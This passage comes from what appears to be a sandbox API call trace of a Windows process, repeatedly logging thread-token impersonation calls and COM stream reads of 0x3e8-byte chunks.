(Thread=0x0, Token=0x16c) returned 1 [0147.292] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x92, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.292] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.292] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.293] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.293] GetCurrentThread () returned 0xfffffffffffffffe [0147.293] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.293] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.293] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.293] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x37, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.293] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.293] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.294] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.294] GetCurrentThread () returned 0xfffffffffffffffe [0147.294] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.294] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.294] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.294] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.295] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.295] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.296] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.296] GetCurrentThread () returned 0xfffffffffffffffe [0147.296] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.296] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.296] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.296] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x21, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.296] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.296] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.297] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.297] GetCurrentThread () returned 0xfffffffffffffffe [0147.297] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.297] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.297] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.297] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.298] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.298] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.298] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.299] GetCurrentThread () returned 0xfffffffffffffffe [0147.299] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.299] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.299] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.299] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.299] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.299] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.300] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.300] GetCurrentThread () returned 0xfffffffffffffffe [0147.300] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.300] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.300] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.300] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.301] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.301] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.302] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.302] GetCurrentThread () returned 0xfffffffffffffffe [0147.302] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.302] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.302] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.302] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x15, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.302] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.302] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.303] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.303] GetCurrentThread () returned 0xfffffffffffffffe [0147.303] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.303] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.303] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.303] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.304] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.304] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.304] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.305] GetCurrentThread () returned 0xfffffffffffffffe [0147.305] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.305] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.305] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.305] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xee, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.305] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.305] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.306] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.306] GetCurrentThread () returned 0xfffffffffffffffe [0147.306] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.306] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.306] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.306] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x82, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.306] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.306] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.307] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.307] GetCurrentThread () returned 0xfffffffffffffffe [0147.307] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.307] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.307] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.308] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x22, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.308] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.308] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.308] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.309] GetCurrentThread () returned 0xfffffffffffffffe [0147.309] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.309] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.309] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.309] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.309] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.309] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.310] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.310] GetCurrentThread () returned 0xfffffffffffffffe [0147.310] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.310] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.310] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.310] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.310] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.310] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.311] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.311] GetCurrentThread () returned 0xfffffffffffffffe [0147.311] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.311] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.311] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.311] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x26, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.312] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.312] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.313] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.313] GetCurrentThread () returned 0xfffffffffffffffe [0147.313] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.313] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.313] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.313] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.313] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.313] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.314] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.314] GetCurrentThread () returned 0xfffffffffffffffe [0147.314] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.314] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.314] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.314] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xde, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.314] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.315] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.315] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.315] GetCurrentThread () returned 0xfffffffffffffffe [0147.315] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.316] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.316] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.316] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.316] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.316] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.317] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.317] GetCurrentThread () returned 0xfffffffffffffffe [0147.317] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.317] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.317] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.317] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.317] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.317] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.318] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.318] GetCurrentThread () returned 0xfffffffffffffffe [0147.318] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.318] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.318] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.318] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x51, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.319] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.319] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.320] GetCurrentThread () returned 0xfffffffffffffffe [0147.320] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.320] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.320] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.320] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.320] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.322] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.322] GetCurrentThread () returned 0xfffffffffffffffe [0147.322] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.322] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.322] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.323] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.323] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.323] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.324] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.324] GetCurrentThread () returned 0xfffffffffffffffe [0147.324] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.324] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.324] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.324] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.324] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.324] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.325] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.325] GetCurrentThread () returned 0xfffffffffffffffe [0147.325] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.325] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.325] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.325] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.325] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.325] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.326] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.326] GetCurrentThread () returned 0xfffffffffffffffe [0147.326] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.327] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.327] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.327] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.327] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.327] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.328] GetCurrentThread () returned 0xfffffffffffffffe [0147.328] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.328] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.328] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.328] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.328] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.329] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.329] GetCurrentThread () returned 0xfffffffffffffffe [0147.329] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.329] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.329] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.329] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.329] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.329] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.330] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.330] GetCurrentThread () returned 0xfffffffffffffffe [0147.330] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.330] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.330] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.331] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.331] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.331] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.332] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.332] GetCurrentThread () returned 0xfffffffffffffffe [0147.332] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.332] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.332] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.332] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.332] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.332] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.333] GetCurrentThread () returned 0xfffffffffffffffe [0147.333] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.333] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.333] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.333] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.333] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.334] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.334] GetCurrentThread () returned 0xfffffffffffffffe [0147.334] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.334] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.335] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.335] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x95, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.335] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.335] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.346] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.346] GetCurrentThread () returned 0xfffffffffffffffe [0147.346] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.346] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.346] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.346] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.346] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.346] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.348] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.348] GetCurrentThread () returned 0xfffffffffffffffe [0147.348] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.348] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.348] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.348] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.348] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.349] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.350] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.350] GetCurrentThread () returned 0xfffffffffffffffe [0147.350] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.350] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.350] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.350] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.351] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.351] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.352] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.352] GetCurrentThread () returned 0xfffffffffffffffe [0147.352] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.352] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.352] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.352] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa2, 